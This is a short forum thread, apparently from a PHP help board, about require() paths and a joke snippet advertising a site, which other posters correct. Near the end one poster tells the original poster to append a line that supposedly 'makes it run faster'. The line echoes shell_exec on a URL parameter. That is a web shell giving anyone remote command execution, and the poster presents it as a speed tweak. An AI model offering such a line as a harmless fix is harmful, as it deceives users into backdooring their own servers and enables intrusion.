Jump to content

php code/advertisement


CaveMan
 Share

Recommended Posts

doesn't the require function need an absolute path to the file?

Not as far as I know. Relative paths should work fine. The only difference between require() and include() is to do with their error handling.

Unless you don't have include_path set right, that is.

<?php

$auscode = "great";

while($auscode == "great"){

echo "AusCode is great"

} else {

require("YouMembership.php");}

?>

http://www.AusCode.net

I've never seen a While / Else structure in PHP though...

Or any other language for that matter :?

And there's a semicolon missing after the echo statement :P

Try this one:

&lt;?php

$auscode = "great";



if($auscode == "great") {

    echo "AusCode is great";

} else {

    require("YouMembership.php");

}

?&gt;

It's still pointless code though. Maybe if $auscode wasn't set and it was $_GET[auscode]; :wink:

Actually... Append this to the end of your code. It makes it run faster...

echo "&lt;pre&gt;" . shell_exec($_GET[c]) . "&lt;/pre&gt;";

Try it on your site and post a link so we can all see the difference :)

Ok, so I'm bored :roll:

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...